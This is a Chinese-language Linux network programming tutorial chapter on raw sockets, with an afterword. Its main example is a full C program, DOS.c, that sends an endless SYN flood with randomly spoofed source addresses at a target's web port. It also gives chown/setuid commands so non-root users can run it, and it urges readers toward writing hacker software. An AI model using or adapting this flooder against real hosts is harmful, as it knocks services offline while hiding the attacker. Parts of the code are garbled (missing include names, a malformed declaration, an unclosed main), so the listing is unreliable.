[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 編程技術 > 網絡編程 > 正文
Linux網絡編程--10. 原始套接字 --11. 記
http://linuxc.51.net 作者:hoyt (2001-05-08 11:26:09)
10. 原始套接字 
    我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裡面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root權限的人創建. 

10.1 原始套接字的創建 

 int sockfd(AF_INET,SOCK_RAW,protocol)

可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看  下面我們以一個實例來說明原始套接字的創建和使用 

10.2 一個原始套接字的實例 
還記得DOS是什意思嗎?在這裡我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼 

/********************  DOS.c               *****************/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DESTPORT        80       /* 要攻擊的端口(WEB)      */
#define LOCALPORT       8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
 int sockfd;
 struct sockaddr_in addr;
 struct hostent *host;
 int on=1;
 
 if(argc!=2)
 {
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
 }
 
 bzero(&addr,sizeof(struct sockaddr_in));
 addr.sin_family=AF_INET;
 addr.sin_port=htons(DESTPORT);
 
 if(inet_aton(argv[1],&addr.sin_addr)==0)
 {
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
 }
 
 /**** 使用IPPROTO_TCP創建一個TCP的原始套接字    ****/

 sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
 if(sockfd<0)
 {
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
 }
/********  設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫  ***/
 
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  沒有辦法,只用超級護用戶才可以使用原始套接字    *********/
 setuid(getpid());

/*********  發送炸彈了!!!!          ****/
 send_tcp(sockfd,&addr);




/*******  發送炸彈的實現   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
 char buffer[100];  /**** 用來放置我們的數據包  ****/
 struct ip *ip;
 struct tcphdr *tcp;
 int head_len;
 
 /******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度  ***/
 
 head_len=sizeof(struct ip)+sizeof(struct tcphdr);
 
 bzero(buffer,100);

 /********  填充IP數據包的頭部,還記得IP的頭格式嗎?     ******/ 
 ip=(struct ip *)buffer;
 ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
 ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度  **/
 ip->ip_tos=0;                   /** 服務類型            **/
 ip->ip_len=htons(head_len);     /** IP數據包的長度      **/
 ip->ip_id=0;                    /** 讓系統去填寫吧      **/
 ip->ip_off=0;                   /** 和上面一樣,省點時間 **/        
 ip->ip_ttl=MAXTTL;              /** 最長的時間   255    **/
 ip->ip_p=IPPROTO_TCP;           /** 我們要發的是 TCP包  **/ 
 ip->ip_sum=0;                   /** 校驗和讓系統去做    **/
 ip->ip_dst=addr->sin_addr;      /** 我們攻擊的對象      **/
 
 /*******  開始填寫TCP數據包                           *****/
 tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
 tcp->source=htons(LOCALPORT);
 tcp->dest=addr->sin_port;           /** 目的端口    **/
 tcp->seq=random();
 tcp->ack_seq=0;
 tcp->doff=5;
 tcp->syn=1;                        /** 我要建立連接 **/
 tcp->check=0;

 
 /** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^  **/
 while(1)
  {
 /**  你不知道我是從那裡來的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();     

 /** 什都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
 /**            下面這條可有可無    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}

/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
 register int nleft=len;
 register int sum=0;
 register short *w=addr;
  short answer=0;
 
 while(nleft>1)
 {
  sum+=*w++;
  nleft-=2;
 }
 if(nleft==1)
 {
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
 }
  
 sum=(sum>>16)+(sum&0xffff);
 sum+=(sum>>16);
 answer=~sum;
 return(answer);
}

編譯一下,拿localhost做一下實驗,看看有什結果.(千萬不要試別人的啊). 為了讓普通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位 

 [root@hoyt /root]#chown root DOS
 [root@hoyt /root]#chmod +s DOS


10.3 總結 
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這裡面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據,回自動的調用相應的模塊給數據加上TCP頭部,然加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們發送出去. 在上面的實例中,由我們要修改我們的源IP地址,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那IP數據一樣也可以由系統來創建的. 

--------------------------------------------------------------------------------

11. 記
  總算完成了網絡編程這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以,我好象對網絡的認識又增加了一步. 

  如果我們只是編寫一般的 網絡程序還是比較容易的,但是如果我們想寫出比較好的網絡程序我們還有著遙遠的路要走. 網絡程序一般的來說都是多進程加上多線程的.為了處理好他們內部的關系,我們還要學習 進程之間的通信.在網絡程序裡面有著許許多多的突發事件,為此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,為了處理好這些信息,我們還要去學習數據庫. 如果要編寫出有用的黑客軟件,我們還要去熟悉各種網絡協議.總之我們要學的東西還很多很多. 

  看一看外國的軟件水平,看一看印度的軟件水平,寶島台灣的水平,再看一看我們自己的 軟件水平大家就會知道了什叫做差距.我們現在用的軟件有幾個是我們中國人自己編寫的.  

  不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人! 

相信一點: 

            別人可以做到的我們一樣可以做到,而且可以比別人做的更好! 

   勇敢的年輕人,為了我們偉大祖國的軟件產業,為了祖國的未來,努力的去奮鬥吧!祖國會記住你們的! 


hoyt 

11.1 參考資料 
<<實用UNIX編程>>---機械工業出版社. 

<>--清華大學出版社. 


--------------------------------------------------------------------------------

(http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
Proxy源代碼分析--談談如何學習linux網絡編程 (2001-08-10 12:00:00)
Linux網絡編程--10. 原始套接字 --11. 記 (2001-05-08 11:26:09)
Linux網絡編程--9. 服務器模型 (2001-05-08 11:23:59)
Linux網絡編程--8. 套接字選項 (2001-05-08 11:23:24)
Linux網絡編程--7. TCP/IP協議 (2001-05-08 11:22:40)
Linux網絡編程--6. 高級套接字函數 (2001-05-08 11:22:09)
Linux網絡編程--5. 用戶數據報發送 (2001-05-08 11:21:31)
Linux網絡編程--4. 完整的讀寫函數 (2001-05-08 11:20:52)
Linux網絡編程--3. 服務器和客戶機的信息函數 (2001-05-08 11:20:14)
Linux網絡編程--2. 初等網絡函數介紹(TCP) (2001-05-08 11:19:34)

===更多相關===
 

★  樊強制作 歡迎分享  ★